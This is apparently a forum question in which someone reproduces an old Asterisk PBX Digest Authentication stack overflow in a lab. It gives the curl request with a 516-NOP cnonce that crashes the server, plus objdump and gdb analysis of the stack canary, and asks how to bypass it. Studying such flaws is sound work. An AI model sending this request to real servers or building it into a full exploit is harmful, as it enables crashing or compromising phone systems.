I'm going in deep with an old vulnerability found in Asterisk PBX, just to understand how this stuff works. This is the description of the flaw: "According to the version in its SIP banner, the version of Asterisk running on the remote host is potentially affected by a vulnerability that could allow a remote attacker to crash the server, or possibly inject arbitrary code by sending an arbitrarily long string value for HTTP Digest Authentication."
I installed the vulnerable Asterisk and these are the involved protections:
#/usr/bin/hardening-check $(which asterisk)
/usr/sbin/asterisk:
Position Independent Executable: no, normal executable!
Stack protected: yes
Fortify Source functions: yes (some protected functions found)
Read-only relocations: yes
Immediate binding: no, not found!
I have been attracted by Stack protection and this is a brief description of the analysis. From objdump of the vulnerable function (called ast_parse_digest) the actual stack canary code looks like this:
mov %gs:0x14,%eax
mov %eax,-0xc(%ebp)
xor %eax,%eax
(These are the 3 code lines during the prologue of the function)
What i can observe is that the canary value is written in the stack at ebp-12 (-0xc => -12), i will test this later with gdb. Before function's epilogue occurs the stack canary check is executed, this can be read from the code:
mov -0xc(%ebp),%ebx
xor %gs:0x14,%ebx
je 819daa7 <ast_parse_digest+0x12d8>
call 80601a0 <__stack_chk_fail@plt>
(Therefore if the check fails a call to __stack_chk_fail takes place)
Now it's time to play with gdb and see when the canary is overwritten by our exploit. This exploit simply sends an HTTP request to the vulnerable server:
#curl -v http://127.0.0.1:8088/asterisk/amxml -H "Authorization: Digest username="user",realm="realm",nonce="AAAAAAAA",uri="/asterisk/amxml",algorithm=MD5,response="BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",opaque="CCCCCCCC",qop="auth",nc="DDDDDDDD",cnonce=$var"
where the variable $var (at the end of curl) was set to 516 NOPs to reach the canary:
#var="$(python -c 'print 516*"\x90"')"
Executing the exploit a stack smashing is detected, these are the lines from the backtrace.txt:
Core was generated by `/usr/sbin/asterisk -g'.
Program terminated with signal SIGABRT, Aborted.
#0 0xb77bfcf9 in ?? ()
#0 0xb77bfcf9 in ?? ()
No symbol table info available.
#1 0xb74ee03b in __GI___fortify_fail (msg=<optimized out>, msg@entry=0xb7555960 "stack smashing detected") at fortify_fail.c:38
do_abort = 63
#2 0xb74edfca in __stack_chk_fail () at stack_chk_fail.c:28
No locals.
#3 0x0819daa7 in ast_parse_digest (digest=0xfe33e7e "Digest username=user,realm=realm,nonce=AAAAAAAA,uri=/asterisk/amxml,algorithm=MD5,response=", 'B' <repeats 32 times>, ",opaque=CCCCCCCC,qop=$
i = 516
c = 0xfe345cb ""
key = "cnonce\000e", '\000' <repeats 503 times>
val = '\220' <repeats 512 times>
str = 0xfe34310
__PRETTY_FUNCTION__ = "ast_parse_digest"
After confirming __stack_chk_fail function is called, i inspected the core file generated with gdb. These are the steps followed to show how the stack looks after the smash:
#frame 3
#(gdb) x/x $ebp
# 0xb5a24888: 0xb5a25048
#(gdb) x/x $ebp-4
# 0xb5a24884: 0xb5a24c30
#(gdb) x/x $ebp-8
# 0xb5a24880: 0x00000000
#(gdb) x/x $ebp-12
# 0xb5a2487c: 0x90909090
(Note: 516 was the minimum number of NOPs to get to the stack smashing)
This confirm that stack canary was written at ebp-12; also NULL byte was added after the stack canary to improve hardening i suppose.
My question is: in this situation is still possible to bypass the canary check? What is the next step i should take? Any suggestion or link to some helpful document is valued.
User contributions licensed under CC BY-SA 3.0